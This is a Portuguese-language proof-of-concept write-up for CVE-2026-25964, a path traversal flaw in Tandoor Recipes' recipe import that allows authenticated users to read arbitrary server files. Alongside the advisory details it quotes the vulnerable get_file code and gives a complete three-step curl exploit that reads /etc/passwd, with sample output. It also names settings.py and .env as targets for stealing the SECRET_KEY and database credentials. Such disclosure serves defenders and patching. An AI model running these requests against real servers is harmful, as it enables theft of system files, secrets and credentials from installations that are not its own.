
Prova de conceito de exploit para CVE-2026-25964, uma divulgação local de arquivos autenticada no Tandoor Recipes por meio de path traversal na importação de receitas, permitindo a leitura arbitrária de arquivos.
Prova de Conceito para Divulgação de Arquivo Local Autenticada via Importação de Receitas
Divulgação: Originalmente relatado por mim via GHSA-6485-jr28-52xx
⚠️ Uso exclusivo para pentest autorizado/pesquisa.
| Campo | Valor |
|---|
| ID CVE | CVE-2026-25964 |
| Severidade | 🟡 Média |
| Pontuação CVSS | 4.9 |
| Vetor CVSS | [CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N] |
| CWE | CWE-22: Path Traversal, CWE-73: Controle Externo do Nome do Arquivo |
| Produto Afetado | Tandoor Recipes ≤ 2.5.0 |
| Versão Corrigida | 2.5.1 |
| Aviso de Segurança | GHSA-6485-jr28-52xx |
Uma vulnerabilidade de Path Traversal (CWE-22) indevidamente autorizada no fluxo de trabalho RecipeImport do Tandoor Recipes permite que usuários autenticados com permissões de importação leiam arquivos arbitrários no servidor. Esta vulnerabilidade decorre da falta de validação de entrada no parâmetro file_path e de verificações insuficientes no backend de armazenamento Local, permitindo que um atacante contorne as restrições do diretório de armazenamento e acesse arquivos sensíveis do sistema (por exemplo, /etc/passwd) ou arquivos de configuração da aplicação (por exemplo, settings.py), potencialmente levando ao comprometimento total do sistema.
A vulnerabilidade existe devido à falha em validar a entrada fornecida pelo usuário em relação à raiz de armazenamento pretendida da aplicação.
/api/recipe-import/ permite que usuários autenticados criem um objeto RecipeImport com um file_path e backend de storage arbitrários. Nenhuma validação é realizada para garantir que o file_path esteja dentro do diretório de armazenamento configurado.Local.get_file em cookbook/provider/local.py processa a solicitação de recuperação de arquivo:
@staticmethod
def get_file(recipe):
# VULNERABILIDADE: Abre diretamente o caminho especificado em recipe.file_path
# sem verificar se está dentro do diretório raiz de armazenamento.
file = io.BytesIO(open(recipe.file_path, 'rb').read())
return file
/etc/passwd) ou caminhos relativos (por exemplo, ../../app/config.py) sejam abertos.Quando um objeto RecipeImport é convertido em um Recipe via a ação import_recipe, o caminho malicioso é persistido. Uma chamada subsequente a get_recipe_file aciona a operação de leitura vulnerável, retornando o conteúdo do arquivo ao usuário.
Pré-requisitos: Uma conta de usuário autenticada com permissões para importar receitas. Por padrão, esta permissão pode ser restrita, mas se concedida a funções de privilégios mais baixos, o impacto aumenta significativamente. Mesmo para administradores, isso representa uma violação do limite de segurança, pois permissões de nível de aplicação não devem conceder acesso de leitura em nível de sistema de arquivos.
Passo 1: Criar um Objeto de Importação Malicioso
Envie uma solicitação POST para criar um objeto RecipeImport apontando para o arquivo alvo (por exemplo, /etc/passwd).
curl -X POST "http://<TARGET_IP>:8081/api/recipe-import/" \
-b "sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>" \
-H "X-CSRFToken: <CSRF_TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"name": "Admin_LFD_Final",
"file_path": "/etc/passwd",
"storage": 1,
"space": 1
}'
(Nota: storage: 1 normalmente corresponde ao Armazenamento Local padrão. Ajuste se necessário.)

Passo 2: Converter Importação em Receita
Acione o processo de importação para criar um objeto Recipe persistente. Observe o import_id (por exemplo, 4) retornado no Passo 1.
curl -X POST "http://<TARGET_IP>:8081/api/recipe-import/<IMPORT_ID>/import_recipe/" \
-b "sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>" \
-H "X-CSRFToken: <CSRF_TOKEN>" \
-H "Content-Type: application/json" \
-H "Content-Length: 0"
(Substitua <IMPORT_ID> pelo ID da resposta do Passo 1. Esta solicitação retornará o novo recipe_id (por exemplo, 34)

Passo 3: Baixar o Arquivo Arbitrário
Acesse o arquivo via o endpoint de arquivo de receita usando o novo id da receita retornado no Passo 2 (por exemplo, 34).
curl -X GET "http://<TARGET_IP>:8081/api/get_recipe_file/<RECIPE_ID>/" \
-b "sessionid=<SESSION_ID>"
Resultado: O servidor retorna o conteúdo de /etc/passwd, confirmando a vulnerabilidade LFD.
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...

/etc/passwd permite a enumeração de usuários do sistema./opt/recipes/recipes/settings.py (confirmado em testes) ou .env. Isso expõe a SECRET_KEY (permitindo falsificação de sessão) e as Credenciais do Banco de Dados (permitindo acesso direto ao banco de dados).